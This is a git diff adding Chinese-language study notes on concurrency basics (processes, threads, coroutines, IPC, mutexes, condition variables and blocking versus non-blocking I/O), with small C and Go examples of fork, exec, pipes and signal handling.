@ -0,0 +1,103 @@
|
||||
## 一 并发编程历史
|
||||
|
||||
在早期的操作系统中,各个任务的执行完全是串行的,只有在一个任务运行完成之后,另一个任务才会被执行,我们称之为`单道程序`。
|
||||
|
||||
而现代操作系统引入了`多道程序`的并发概念:
|
||||
> 多道程序:当一个程序暂时不需要使用CPU的时候,系统会把该程序挂起或中断,此时其他程序可以使用CPU,多个任务在操作系统的控制中实现了宏观上的并发。
|
||||
多道程序提升了计算机资源的利用率,但是也引起了多个任务对系统资源的抢夺,在开发上极为不便。
|
||||
|
||||
## 二 计算机术语
|
||||
|
||||
### 2.1 串行与并发
|
||||
|
||||
串行与并发是同一个维度的概念,区别是:
|
||||
- 串行:指令按照顺序执行
|
||||
- 并发:指令并未按照顺序执行,而是在宏观上同时执行,即CPU不停的在各个任务之间来回切换,给人感觉所有任务同时执行了!比如电脑同时运行了QQ、浏览器,其实是CPU在这2个程序之间按照一定的调度算法在来回切换执行!
|
||||
|
||||
并行与并发并不是同一个维度上的概念:
|
||||
- 并行(parallel):在同一时刻(微秒级),多条指令在多个处理器上同时执行,并行一般要借助多核CPU实现!
|
||||
- 并发(concurrency):并未同时执行,只是由于CPU运行过快,给人产生同时运行的假象
|
||||
|
||||
并发与并行概念的区别是是否同时执行,比如吃饭时,电话来了,需要停止吃饭去接电话,接完电话继续吃饭,这是并发执行,但是吃饭时电话来了,边吃边接是并行。
|
||||
### 2.2 进程
|
||||
|
||||
> 进程:就是二进制可执行文件在计算机内存中的运行实例,可以简单理解为:一个.exe文件是个类,进程就是该类new出来的实例。
|
||||
> 进程是操作系统资源分配的最小单位(如虚拟内存资源),所有代码都是在进程中执行的。
|
||||
|
||||
在Unix系统中,操作系统启动后将会运行进程号(PID)为1的一个进程 init 进程,该进程是所有其他进程的父进程。操作系统通过 fork() 函数能够创建多个子进程,从而能够提升计算机资源的利用率。
|
||||
|
||||
进程在创建后会拥有自己的独立地址空间,操作系统会提供一个数据结构PCB来描述该进程(Process Control Block,进程控制块),PCB中保存了进程的管理、控制信息等数据。
|
||||
|
||||
由于进程拥有互相独立的地址空间,所以进程之间无法直接通信,必须利用进程间通信(IPC,InterProcess Communication)方式来实现通信。
|
||||
|
||||
### 2.3 内核态与用户态
|
||||
|
||||
操作系统的内存会被划分为两大区域:
|
||||
- 内核区:提供了大量的系统调用函数,即最原生、最底层的操作函数,如 open(),write()
|
||||
- 用户区:加载、运行应用程序的区域,比如使用C语言写的程序,同样的C语言也提供了本语言的对应操作函数 fopen(),fwrite()。这些由编程语言提供的函数称之为库函数。
|
||||
|
||||
我们不难发现,库函数其实是在系统调用函数基础上再次进行了封装,方便开发者使用。当然开发者既可以使用库函数来操作文件,也可以直接使用底层的系统调用函数(但是这样需要做很多错误处理)。
|
||||
|
||||
程序在运行时,CPU有两种状态:
|
||||
- 用户态:当一个进程在执行用户自己的代码时处于用户运行态(用户态)
|
||||
- 内核态:当进程需要执行一些系统调用时,比如利用C的库函数fopen()时,fopen()虽然是库函数,但是执行时底层调用了系统的open()函数,此时程序进入内核态,调用结束后,程序会重新回到用户态!
|
||||
|
||||
操作系统之所以要这样设计是出于内存的安全考虑,内核地址只有内核自己的函数(系统调用函数)才能使用!
|
||||
|
||||
### 2.4 线程
|
||||
|
||||
> 线程:操作系统基于进程开启的轻量级进程,是操作系统调度执行的最小单位(即cpu分配时间轮片的对象)
|
||||
|
||||
一个进程内部可以创建多个线程,他们与进程一样拥有独立的PCB,但是没有独立的地址空间,即线程之间共享了地址空间。这样也让线程之间无需IPC,直接就能通信!!(因为他们在同一个地址空间内)。
|
||||
|
||||
虽然线程带来了通信的便利,但是如果同一空间的中多个线程同时去修改同一个数据,就会造成资源竞争问题,这是计算机编程中最复杂的问题!
|
||||
|
||||
### 2.5 协程
|
||||
|
||||
进程和线程都是操作系统级别的,协程与他们并不是一个维度的概念,所以类似《现代操作系统》的书籍并未提出协程的概念。
|
||||
|
||||
贴士:千万不要将协程理解为轻量级线程!
|
||||
|
||||
> 协程:程序在执行时,函数内部可以中断,适当时候返回接着执行,即协程运行在用户态
|
||||
|
||||
协程的优势在于其轻量级、执行效率高:
|
||||
- 轻量级:没有线程开销,可以轻松创建上百万个协程而不会造成系统资源衰竭
|
||||
- 执行效率高:函数之间的切换不再是线程切换,由程序自身控制
|
||||
|
||||
线程需要上下文不停切换,而协程不会主动交出使用权,除非代码中主动要求切换,或者发生I/O,此时会切换到别的协程,这样能更好的解决并发问题。
|
||||
|
||||
## 三 并发理论基础
|
||||
|
||||
### 3.1 并发解决方案
|
||||
|
||||
- 多进程:由系统内核管理并发,操作简单、进程互不影响。但是开销最大,占用资源较多,能开启的进程数极少,
|
||||
- 多线程:多线程在大部分系统上仍然属于系统层面的并发,开销较大,且会存在死锁管理问题。
|
||||
- 非阻塞I/O:基于回调的异步非阻塞I/O,尽可能少的运用线程
|
||||
- 协程:本质上仍然是用户态线程,但不需要系统进行抢占式调度,且真正的实现寄存于线程中,开销极小。
|
||||
|
||||
### 3.2 并发程序数据交互方式一:同步
|
||||
|
||||
> 线程同步:线程在发出某一个功能调用时,如果没有得到结果,则该调用不返回。此时其他线程不能调用该功能(因为要保证数据一致性)。
|
||||
|
||||
线程同步是为了避免引起数据混乱。实际上,多个控制流共同操作一个共享资源,都需要同步,比如:进程、线程、信号之间都需要同步机制,常见的线程同步技术就是互斥锁。
|
||||
|
||||
同步的作用是避免在并发访问共享资源时可能发生的冲突。
|
||||
|
||||
同步的理念:
|
||||
- 程序如果想使用一个共享数据,就必须先获取对它的使用权,当程序不再使用该资源时,则应放弃对该资源的访问权(即:释放资源)。
|
||||
- 资源的使用权被拿走后,其他访问该资源的程序不应该被中断,而是应该等到拥有使用权的程序释放资源之后再进行访问。
|
||||
即:在同一时刻,某个资源应该只被一个程序占用。
|
||||
|
||||
### 3.3 并发程序数据交互方式二:数据传递
|
||||
|
||||
除了使用同步方式来实现并发程序数据的交互之外,还可以使用数据传递方式(也称为通信)。
|
||||
|
||||
该方式可以使数据不加延迟的发送给数据接收方。即使数据接收方还没有为接收数据做好准备,也不会造成数据发送方的等待。数据会被临时存储在一个称谓通信缓存的数据结构中。通信缓存是一种特殊的数据结构,可以同时被多个程序使用,数据接收方可以在准备就绪之后按照数据存入通信缓存的顺序接收它们。
|
||||
|
||||
## 四 各个语言的并发理念
|
||||
|
||||
- Java:典型的多线程并发模式,利用同步机制(加锁)来实现并发访问控制
|
||||
- Node.js:典型的单线程非阻塞I/O实践者,不存在Java的资源竞争问题,I/O操作处理完毕后才会利用事件机制通知业务线程返回结果,没有资源竞争的难题。
|
||||
- Go:典型的协程并发理念实践者,在语言本身层面实现了协程,协程之间通过**管道**进行**数据传递**
|
||||
|
||||
目前流行的并发理念是:异步非阻塞I/O,协程。
|
258
02-并发编程/00-2-并发简略-多进程.md
Normal file
258
02-并发编程/00-2-并发简略-多进程.md
Normal file
@ -0,0 +1,258 @@
|
||||
## 一 进程概念
|
||||
|
||||
> 进程:就是二进制可执行文件在计算机内存中的运行实例,可以简单理解为:一个.exe文件是个类,进程就是该类new出来的实例。
|
||||
> 进程是操作系统最小的资源分配单位(如虚拟内存资源),所有代码都是在进程中执行的。
|
||||
|
||||
为了方便管理进程,每个进程都有自己的描述符,是个复杂的数据结构,我们称之为**进程控制块**,即PCB(Process Control Block)。
|
||||
|
||||
PCB中保存了进程的管理、控制信息等数据,主要包含字段有:
|
||||
```
|
||||
进程ID(PID):进程的唯一标识符 ,是一个非负整数的顺序编号
|
||||
父进程ID(PPID):当前进程的父进程ID
|
||||
文件描述符表:即很多指向file接否提的指针
|
||||
进程状态:就绪、运行、挂起、停止等状态
|
||||
虚拟地址范围
|
||||
访问权限
|
||||
当前工作目录
|
||||
用户id和组id
|
||||
会话和进程组
|
||||
```
|
||||
|
||||
贴士:进程ID是可以重用的,当进程ID达到最大限额值时,内核会从头开始查找闲置的进程ID并使用最先找到的那一个作为新进程的ID
|
||||
|
||||
## 二 进程创建
|
||||
|
||||
Unix系统在启动后,会首先运行一个名为 init 的进程,其PID 为 1。该进程是所有其他进程的父进程。
|
||||
|
||||
Unix操作系统通过 `fork()` 函数能够创建多个子进程,从而能够提升计算机资源的利用率。此时调用者称为父进程,被创造出来的进程称为子进程。
|
||||
- 每个子进程都是源自它的父进程的一个副本,它会获得父进程的数据段、堆、栈的拷贝,并与父进程共享代码段。
|
||||
- 子进程对自己副本的修改对其父进程和兄弟进程都是不可见的,反之亦然。
|
||||
|
||||
创建的子进程可以直接开始运行,但是也可以通过 `exec()` 函数来加载一个全新的程序,此时子进程会丢弃现存的程序文本段,为加载的新程序重新创建栈、数据段、堆,我们对这一个过程称为执行一个新程序。
|
||||
|
||||
贴士:exec并不是1个函数, 是一系列 exec 开头的函数,作用都是执行新程序。
|
||||
|
||||
C语言示例如下:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(){
|
||||
|
||||
pid_t pid;
|
||||
int r;
|
||||
|
||||
// 创建子进程
|
||||
pid = fork();
|
||||
if (pid == -1){ // 发生错误
|
||||
perror("fork发生错误 ");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// 返回值大于0时是父进程
|
||||
if(pid > 0){
|
||||
printf("父进程: pid = %d, ppid = %d \n", getpid(),getppid()); // 父进程执行动作
|
||||
sleep(3); // 父进程睡眠,防止子进程还没运行完毕,父进程却直接退出了
|
||||
}
|
||||
|
||||
// 返回值为0的是子进程
|
||||
if(pid == 0){
|
||||
|
||||
printf("子进程: pid = %d , ppid = %d \n", getpid(),getppid()); // 子进程执行动作
|
||||
|
||||
// 子进程加载一个新程序:系统自带的 echo程序,输出 hello world!
|
||||
char * execv_str[] = {"echo", "hello world!",NULL};
|
||||
int r = execv("/bin/echo", execv_str); // 笔者的是mac,linux上为: "/usr/bin/echo"
|
||||
if (r <0 ){
|
||||
perror("error on exec");
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
在 Go 语言中,没有直接提供 fork 系统调用的封装,而是将 fork 和 execve 合二为一,具体信息可以参见Go的os包。
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
fmt.Println("当前进程ID:", os.Getpid())
|
||||
|
||||
procAttr := &os.ProcAttr{
|
||||
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
|
||||
}
|
||||
process, err := os.StartProcess("/bin/echo", []string{"", "hello,world!"}, procAttr)
|
||||
if err != nil {
|
||||
fmt.Println("进程启动失败:", err)
|
||||
os.Exit(2)
|
||||
} else {
|
||||
fmt.Println("子进程ID:", process.Pid)
|
||||
}
|
||||
|
||||
time.Sleep(time.Second)
|
||||
|
||||
}
|
||||
```
|
||||
根据该方式,就可以很容运行计算机上的其他任何程序,包括自身的命令行、Java程序等等。
|
||||
|
||||
|
||||
## 四 进程分类
|
||||
|
||||
进程分类:
|
||||
- 用户进程:位于用户空间中,是程序执行的实例
|
||||
- 内核进程:位于内核空间中,可以访问硬件
|
||||
|
||||
由于用户进程无法访问内核空间,所以无法直接操作硬件。内核会暴露一些接口提供给用户进程使用,让用户进程简介操作硬件,这便是系统调用。
|
||||
|
||||
内核为了保证系统的安全和稳定,为**CPU**特供了两个状态:
|
||||
- 用户态:大部分时间CPU处于该状态,此时只能访问用户空间
|
||||
- 内核态:当用户进程发起系统调用时,内核会将CPU切换到内核态,然后执行相应接口函数。
|
||||
|
||||
注意:这里的用户态和内核态是针对CPU的。
|
||||
|
||||
## 五 进程调度
|
||||
|
||||
同一时刻只能运行一个进程,但是CPU可以在多个进程间进行来回切换,我们称之为上下文切换。
|
||||
|
||||
操作系统会按照调度算法为每个进程分配一定的CPU运行时间,称之为时间轮片,每个进程在运行时都会认为自己独占了CPU,如图所示:
|
||||
|
||||
![](../images/go/02-01.svg)
|
||||
|
||||
切换进程是有代价的,因为必须保存进程的运行时状态。
|
||||
|
||||
## 六 进程状态转换
|
||||
|
||||
进程在创建后,在执行过程中,其状态一直在变化。不同时代的操作系统有不同的进程模型:
|
||||
- 三态模型:运行态、就绪态、等待态
|
||||
- 五态模型:初始态、就绪态、运行态、挂起态(阻塞)、终止态
|
||||
|
||||
本笔记介绍五态模型。初始态是进程的准备节点,常与就绪状态结合来看,进程的状态转换图:
|
||||
![](../images/go/02-02.svg)
|
||||
|
||||
|
||||
## 七 进程运行的问题
|
||||
|
||||
### 7.1 写时复制
|
||||
|
||||
父进程无法预测子进程什么时候结束,只有进程完成工作后,父进程才会调用子进程的终止态。
|
||||
|
||||
贴士:全盘复制父进程的数据相当低效,Linux使用写时复制(COW:Copy on Write)技术来提高进程的创建效率。
|
||||
|
||||
### 7.2 进程回收
|
||||
|
||||
当一个进程退出之后,进程能够回收自己的用户区的资源,但是不能回收内核空间的PCB资源,必须由它的父进程调用wait或者waitpid函数完成对子进程的回收,避免造成系统资源的浪费。
|
||||
|
||||
> 孤儿进程:父进程先于子进程结束,则子进程成为孤儿进程,此时该进程会被系统的 init 进程领养
|
||||
|
||||
> 僵尸进程:子进程终止,但父进程未回收,子进程残留资源(PCB)于内核中,变成僵尸进程。
|
||||
|
||||
注意:由于僵尸进程是一个已经死亡的进程,所以不能使用kill命令将其杀死,通过杀死其父进程的方法可以消除僵尸进程,杀死其父进程后,这个僵尸进程会被init进程领养,由init进程完成对僵尸进程的回收。
|
||||
|
||||
## 八 进程间通信
|
||||
|
||||
### 8.0 进程间通信方式概述
|
||||
|
||||
Linux环境下,进程地址空间相互独立,每个进程各自有不同的用户地址空间。任何一个进程的全局变量在另一个进程中都看不到,所以进程和进程之间不能相互访问,要交换数据必须通过内核,在内核中开辟一块缓冲区,进程1把数据从用户空间拷到内核缓冲区,进程2再从内核缓冲区把数据读走,内核提供的这种机制称为进程间通信(IPC,InterProcess Communication)。
|
||||
|
||||
![](../images/go/02-09.png)
|
||||
|
||||
在进程间完成数据传递需要借助操作系统提供特殊的方法,如:文件、管道、信号、共享内存、消息队列、套接字、命名管道等。随着计算机的蓬勃发展,一些方法由于自身设计缺陷被淘汰或者弃用。现今常用的进程间通信方式有:
|
||||
- 管道 (使用最简单)
|
||||
- 共享映射区 (无血缘关系进程通信)
|
||||
- 信号 (开销最小)
|
||||
- 本地套接字 (最稳定)
|
||||
|
||||
Go支持的IPC方法有:管道、信号、socket。
|
||||
|
||||
### 8.1 管道
|
||||
|
||||
管道是一种最基本的IPC机制,也称匿名管道,应用于有血缘关系的进程之间,完成数据传递。调用C的pipe函数即可创建一个管道。
|
||||
|
||||
![](../images/go/02-10.png)
|
||||
|
||||
管道有如下特质:
|
||||
- 管道的本质是一块内核缓冲区
|
||||
- 由两个文件描述符引用,一个表示读端,一个表示写端。
|
||||
- 规定数据从管道的写端流入管道,从读端流出。
|
||||
- 当两个进程都终结的时候,管道也自动消失。
|
||||
- 管道的读端和写端默认都是阻塞的。
|
||||
|
||||
管道的实质是内核缓冲区,内部使用唤醒队列实现。
|
||||
|
||||
管道的缺陷:
|
||||
- 管道中的数据一旦被读走,便不在管道中存在,不可反复读取。
|
||||
- 数据只能在一个方向上流动,若要实现双向流动,必须使用两个管道
|
||||
- 只能在有血缘关系的进程间使用管道。
|
||||
|
||||
Go模拟管道的实现:
|
||||
```go
|
||||
cmd1 := exec.Command("ps", "aux")
|
||||
cmd2 := exec.Command("grep", "apipe")
|
||||
|
||||
var outputBuf1 bytes.Buffer
|
||||
cmd1.Stdout = &outputBuf1
|
||||
cmd1.Start()
|
||||
cmd1.Wait() // 开始阻塞
|
||||
|
||||
var outputBuf2 bytes.Buffer
|
||||
cmd2.Stdout = &outputBuf2
|
||||
cmd2.Start()
|
||||
cmd2.Wait() // 开始阻塞
|
||||
|
||||
fmt.Println(outputBuf2.Bytes())
|
||||
```
|
||||
|
||||
当然也有一种管道称为命名管道(FIFO),它支持无血缘关系的进程之间通信。FIFO是Linux基础文件类型中的一种(文件类型为p,可通过ls -l查看文件类型)。但FIFO文件在磁盘上没有数据块,文件大小为0,仅仅用来标识内核中一条通道。进程可以打开这个文件进行read/write,实际上是在读写内核缓冲区,这样就实现了进程间通信,如图所示:
|
||||
|
||||
![](../images/go/02-11.png)
|
||||
|
||||
### 8.2 内存映射区
|
||||
|
||||
存储映射I/O (Memory-mapped I/O) 使一个磁盘文件与存储空间中的一个缓冲区相映射。从缓冲区中取数据,就相当于读文件中的相应字节;将数据写入缓冲区,则会将数据写入文件。这样,就可在不使用read和write函数的情况下,使用地址(指针)完成I/O操作。
|
||||
|
||||
使用存储映射这种方法,首先应通知内核,将一个指定文件映射到存储区域中。这个映射工作可以通过mmap函数来实现。
|
||||
|
||||
![](../images/go/02-12.png)
|
||||
|
||||
### 8.3 信号
|
||||
|
||||
信号是IPC中唯一一种异步的通信方法,本质是用软件模拟硬件的中断机制,例如:在命令行终端按下某些快捷键,就会挂起或停止正在运行的程序。Go中的ginal包提供了相关操作。
|
||||
|
||||
```go
|
||||
sigRecv := make(chan os.Signal, 1) // 创建接收通道
|
||||
sigs := []os.Signal{syscall.SIGINT, syscall.SIGQUIT} // 创建信号类型
|
||||
signal.Notify(sigRecv, sigs...)
|
||||
for sig := range sigRecv { // 循环接收通道中的信号,通道关闭后,for会立即停止
|
||||
fmt.Println(sig)
|
||||
}
|
||||
```
|
||||
|
||||
### 8.4 socket
|
||||
|
||||
socket即套接字,也是一种IPC方法,与其他IPC方法不同之处在于:可以通过网络连接让多个进程建立通信并相互传递数据,这使得通信不再依赖于在同一台计算机上。
|
||||
|
||||
## 九 进程同步
|
||||
|
||||
当多个子进程对同一资源进行访问时,就会产生竞态条件。比如:某一个数据,进程A对其进行执行`一系列`操作,但是在执行过程中,系统有可能会切换到另外一个进程B中,B也对该数据进行`一系列`操作,那么在两个进程中操作同一份数据时,这个数据的结果值到底按照谁的来运算呢?
|
||||
|
||||
原子操作:如果执行过程中操作不能中断,那么就能解决上述问题,这样的操作称为原子操作(atomic operation)。这些只能被串行化访问或执行的资源或者某段代码被称为临界区(critical section)。Go中(sync/atomic包提供了原子操作函数)。
|
||||
|
||||
注意:
|
||||
- 所有的系统调用都是原子操作,即不用担心它们的执行被中断!
|
||||
- 原子操作不能被中断,临界区是否可以被中断没有强制规定,只是保证了只能同时被一个访问者访问。
|
||||
|
||||
问题:如果一个原子操作无法结束,现在也无法中断,如何处理?
|
||||
> 答案:内核只提供了针对二进制位和整数的原子操作(即保证细粒度),不会有上述现象。
|
||||
|
||||
互斥锁:
|
||||
在实际开发中,原子操作并不通用,我们可以保证只有一个进程/线程在临界区,该做法称为互斥锁(exclusion principle),比如信号量是实现互斥方法的方式之一,Golang的sync包也有对互斥的支持。
|
115
02-并发编程/00-3-并发简略-多线程.md
Normal file
115
02-并发编程/00-3-并发简略-多线程.md
Normal file
@ -0,0 +1,115 @@
|
||||
## 一 线程概述
|
||||
|
||||
### 1.1 进程与线程创建
|
||||
|
||||
操作系统会为每个进程分配一定的内存地址空间,如图所示:
|
||||
|
||||
![](../images/go/02-03.svg)
|
||||
|
||||
上图所示的是32位系统中虚拟内存的分配方式,不同系统分配的虚拟内存是不同的,但是其数据所占区域的比例是相同的:
|
||||
- 32位:最大内存地址为2<sup>32</sup>,这么多的字节数换算为G单位,即为4G。(换算为1G=1024MB=1024*1024KB=1024*1024*1024B)
|
||||
- 64位:最大内存地址为2<sup>64</sup>,这么多的字节数换算为G单位,数值过大,不便图示
|
||||
|
||||
在多进程编程的并发模型中,每次fork一个子进程,都代表新创建了一个完整的上述内存地址空间,如图所示:
|
||||
|
||||
![](../images/go/02-03-1.svg)
|
||||
|
||||
线程就与进程不同了,一个进程内部可以创建多个线程,如图所示:
|
||||
|
||||
![](../images/go/02-03-2.svg)
|
||||
|
||||
### 1.2 理解线程
|
||||
|
||||
从创建线程的图示可以看出:线程可以视为某个进程内部的控制流。
|
||||
> 线程:操作系统基于进程开启的轻量级进程,
|
||||
> 线程是操作系统最小的调度执行单位(即cpu分配时间轮片的对象)
|
||||
|
||||
线程不能独立于进程而存在,其生命周期不可能逾越其所属的进程生命周期,与进程不同,线程不存在父子级别关系,同一进程中的任意2个线程之间的关系是平等的。
|
||||
一个进程内部的线程包括:
|
||||
- 主线程:必定拥有,因为进程必须有一个控制流持续运行,该线程随着进程的启动而创建
|
||||
- 其他线程:不一定拥有,由主线程或者其他线程创建(C语言调用pthread_create函数)
|
||||
|
||||
综上我们可以得出:
|
||||
> 线程与进程一样拥有独立的PCB,但是没有独立的地址空间,即线程之间共享了地址空间。这样也让线程之间无需IPC,直接就能通信!!
|
||||
|
||||
进程的大多数资源会被其内部的线程所共享,如:代码段、数据段、堆、信号处理函数、当前进程持有的文件描述符等。所以,同一进程中的多个线程运行的一定是同一个程序,只不过具体的控制流和执行的函数可能不同。也正因如此,同一进程内的多线程共享数据变得很轻松,创建新线程也无需再复制资源了。
|
||||
|
||||
虽然线程带来了通信的便利,如果同一空间的中多个线程同时去使用同一个数据,就会造成资源竞争问题,这是计算机编程中最复杂的问题之一。
|
||||
|
||||
### 1.3 线程标识
|
||||
|
||||
每个线程也有属于自己的ID,称为TID,只在其所属的进程范围内唯一。
|
||||
|
||||
注意:Linux中的线程ID在系统范围内也是唯一的,且线程不存在后,该ID可被其他线程复用。
|
||||
|
||||
### 1.4 线程调度
|
||||
|
||||
线程之间不存在类似进程的树形关系,任何线程都可以对同一进程的其他线程进行有限的管理。
|
||||
|
||||
调度器会把CPU的时间资源划分为极小的时间片,并把这些时间片分配给不同的线程,以使众多线程都有机会在CPU上运行,也造成了我们多线程被并行运行的幻觉。
|
||||
|
||||
### 1.5 线程的应用
|
||||
|
||||
对于多线程并发模型的web服务器,如果需要同时处理多个请求,当请求到达时,web 服务器会创建一个线程,或者从线程池中获取一个线程,然后将请求来委派给线程来实现并发。
|
||||
|
||||
## 二 线程同步
|
||||
|
||||
### 2.0 同步的概念
|
||||
|
||||
由于多进程、多线程、协程等都可以抢占共享资源,我们就必须保证他们访问数据时的一致性,这种保持数据内容一致的机制称为**同步**。
|
||||
|
||||
多个控制流操作一个共享资源的情况,都需要同步!!
|
||||
|
||||
一般情况下,只要让共享区域的操作串行化,就可以实现同步,这种实现了串行化的共享区域称为**临界区**。
|
||||
|
||||
这里主要研究线程同步的方式,包括:
|
||||
- 互斥量
|
||||
- 条件变量
|
||||
- 原子操作
|
||||
|
||||
### 2.1 互斥量
|
||||
|
||||
> 互斥(mutex):在同一时刻,只允许一个线程处于临界区内。
|
||||
|
||||
线程将对象锁定后,才能进入临界区,否则线程就会阻塞,这个对象我们称之为互斥对象或者互斥量。
|
||||
|
||||
由此可知,互斥量有已锁定、未锁定两种状态,且互斥量一旦被锁,则不能被再次锁定,只有互斥量被解锁后才能再次锁定(即不允许别的线程二次加锁)。多个线程为了能够访问临界区,将会争夺锁的所有权。
|
||||
|
||||
线程在离开临界区的时候,必须对互斥量进行解锁,此时其他想进入该临界区的线程将会被唤醒再次争夺锁。
|
||||
|
||||
如果不同的临界区中包含了对同一个共享资源的同一种操作,此时会产生死锁。
|
||||
|
||||
解决死锁的办法有两种:
|
||||
- 试锁定-回退:操作系统的线程库中提供了该功能。在执行一个代码块时,如果需要先后锁定多个互斥量,成功锁定其中一个互斥量后应该使用试锁定的方法来锁定后续互斥量,如果后续任一互斥量锁定失败,则解锁刚才被锁的互斥量,重新进行争夺锁尝试。
|
||||
- 注意:多个互斥量被成功加锁后,解锁顺序和加锁顺序相反,这样可以减少回退次数。
|
||||
- 固定顺序锁定:举例,线程A和线程B总是先锁定互斥量1,再锁定互斥量2,那么就不会产生死锁。
|
||||
|
||||
第一种方案更加有效,但是程序变得复杂了,后一种方法简单实用,但是因为存在固定顺序,降低了程序的灵活性。
|
||||
|
||||
### 2.2 条件变量
|
||||
|
||||
互斥量有时候也不能完美解决问题,比如最常见的生产消费模型中:
|
||||
```
|
||||
数据队列:具备一定大小的空间,用于存储生产的数据
|
||||
生产者线程:向数据队列不断的添加数据
|
||||
消费者线程:从数据队列不断的取出数据
|
||||
```
|
||||
|
||||
由于生产者线程和消费者线程都会对数据队列进行并发访问,那么我们肯定会为数据队列进行加锁操作,以实现同步。
|
||||
|
||||
此时如果生产者线程获得互斥量,发现数据队列已满,无法添加新数据,生产者线程就可能在临界区一直等待,直到有空闲区间。这种做法明显是错误的,因为该线程一直阻塞在临界区,直接影响了其他消费者线程的使用!生产者线程应该在发现没有空闲区间时直接解锁退出。
|
||||
|
||||
同样的,消费者线程在获取锁后,如果发现数据队列为空,则也会一直等待,这都是不合理的,应该在发现为空后立即解锁。
|
||||
|
||||
引入条件变量,与互斥量配合使用,可以解决上述问题。
|
||||
|
||||
> 条件变量:条件变量一般与互斥量组合使用,在对应的共享数据状态发生变化时,通知其他被阻塞线程。
|
||||
|
||||
条件变量有三种操作:
|
||||
- 等待通知(wait):如果当前数据状态不满足条件,则解锁与该条件变量绑定在一起的互斥量,然后阻塞当前线程,直到收到该条件变量发来的通知
|
||||
- 单发通知(signal):让条件变量向至少一个正在等待它通知的线程发送通知,以表示共享数据状态发生了改变
|
||||
- 广播通知(broadcast):给等待通知的所有线程发送通知
|
||||
|
||||
### 2.3 原子操作
|
||||
|
||||
原子操作的执行过程不能被中断,因为此时CPU不会去执行其他对该值进行的操作,这也能有效的解决一部分竞争问题。
|
173
02-并发编程/00-4-并发简略-非阻塞IO.md
Normal file
173
02-并发编程/00-4-并发简略-非阻塞IO.md
Normal file
@ -0,0 +1,173 @@
|
||||
## 一 深入理解进程阻塞
|
||||
|
||||
进程间的通信时通过 send() 和 receive() 两种基本操作完成的。具体如何实现这两种基础操作,存在着不同的设计:
|
||||
|
||||
> 消息的传递有可能是**阻塞的**或**非阻塞的**,也被称为**同步**或**异步**的。----《操作系统概论》
|
||||
|
||||
- 阻塞式发送:blocking send,发送方进程会被一直阻塞,直到消息被接受方进程收到
|
||||
- 非阻塞式发送:nonblocking send,发送方进程调用 send() 后,立即就可以其他操作
|
||||
- 阻塞式接收:blocking receive,接收方调用 receive() 后一直阻塞,直到消息到达可用
|
||||
- 非阻塞式接受:nonblocking receive,接收方调用 receive() 函数后,要么得到一个有效的结果,要么得到一个空值,即不会被阻塞。
|
||||
|
||||
上述不同类型的发送方式和不同类型的接收方式,可以自由组合,即从进程级通信的维度讨论时, 阻塞和同步(非阻塞和异步)就是一对同义词, 且需要针对发送方和接收方作区分对待。
|
||||
|
||||
概念解释:
|
||||
- 中断(interrupt):CPU 微处理器有一个中断信号位, 在每个CPU时钟周期的末尾, CPU会去检测那个中断信号位是否有中断信号到达, 如果有,则会根据中断优先级决定是否要暂停当前执行的指令, 转而去执行处理中断的指令。 (其实就是 CPU 层级的 while 轮询)
|
||||
- 时钟中断( Clock Interrupt ):一个硬件时钟会每隔一段(很短)的时间就产生一个中断信号发送给 CPU,CPU 在响应这个中断时, 就会去执行操作系统内核的指令, 继而将 CPU 的控制权转移给了操作系统内核, 可以由操作系统内核决定下一个要被执行的指令。
|
||||
- 系统调用(system call):system call 是操作系统提供给应用程序的接口。 用户通过调用 system call 来完成那些需要操作系统内核进行的操作, 例如硬盘, 网络接口设备的读写等。
|
||||
|
||||
现代操作系统都是采用虚拟存储器。操心系统的核心是内核,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的所有权限。为了保证用户进程不能直接操作内核,保证内核的安全,操心系统将虚拟空间划分为两部分,一部分为内核空间,一部分为用户空间。
|
||||
|
||||
用户进程在从用户空间切换到内核空间,需要以下步骤:
|
||||
- 1.当一个程序正在执行的过程中, 中断(interrupt) 或 系统调用(system call) 发生可以使得 CPU 的控制权会从当前进程转移到操作系统内核。
|
||||
- 2.操作系统内核负责保存进程i在 CPU 中的上下文(程序计数器,寄存器)到 PCB$_i$(操作系统分配给进程的一个内存块)中
|
||||
- 3.从PCB$_j$取出进程 j 的CPU 上下文, 将 CPU 控制权转移给进程 j , 开始执行进程 j 的指令。
|
||||
|
||||
操作系统在进行进切换时,需要进行一系列的内存读写操作, 这带来了一定的开销:对于一个运行着 UNIX 系统的现代 PC 来说, 进程切换至少需要花费 300 us 的时间。我们所说的 “阻塞”是指进程在发起了一个系统调用(System Call) 后,由于该系统调用的操作不能立即完成,需要等待一段时间,于是内核将进程挂起为**等待 (waiting)**状态, 以确保它不会被调度执行, 占用 CPU 资源。
|
||||
|
||||
综上所述,**阻塞和非阻塞描述的是进程的一个操作是否会使得进程转变为“等待”的状态**,又因为阻塞这个词是与系统调用 System Call 紧紧联系在一起的, 因为要让一个进程进入 等待(waiting) 的状态,要么是它主动调用 wait() 或 sleep() 等挂起自己的操作,要么是它调用 System Call, 而 System Call 因为涉及到了 I/O 操作,不能立即完成,于是内核就会先将该进程置为等待状态,调度其他进程的运行,等到它所请求的 I/O 操作完成了以后,再将其状态更改回 ready 。
|
||||
|
||||
操作系统内核在执行 System Call 时, CPU 需要与 IO 设备完成一系列物理通信上的交互, 其实会再一次涉及到阻塞和非阻塞的问题, 例如, 操作系统发起了一个硬盘读的请求后, 其实是通过总线向硬盘设备发出了一个读请求,它即可以阻塞式地等待IO 设备的返回结果,也可以非阻塞式的继续其他的操作。 在现代计算机中,这些物理通信操作基本都是异步完成的, 即发出请求后, 等待 I/O 设备的中断信号后, 再来读取相应的设备缓冲区。 但是,大部分操作系统默认为用户级应用程序提供的都是阻塞式的系统调用 (blocking system call)接口, 因为阻塞式的调用,使得应用级代码的编写更容易(代码的执行顺序和编写顺序是一致的)。
|
||||
|
||||
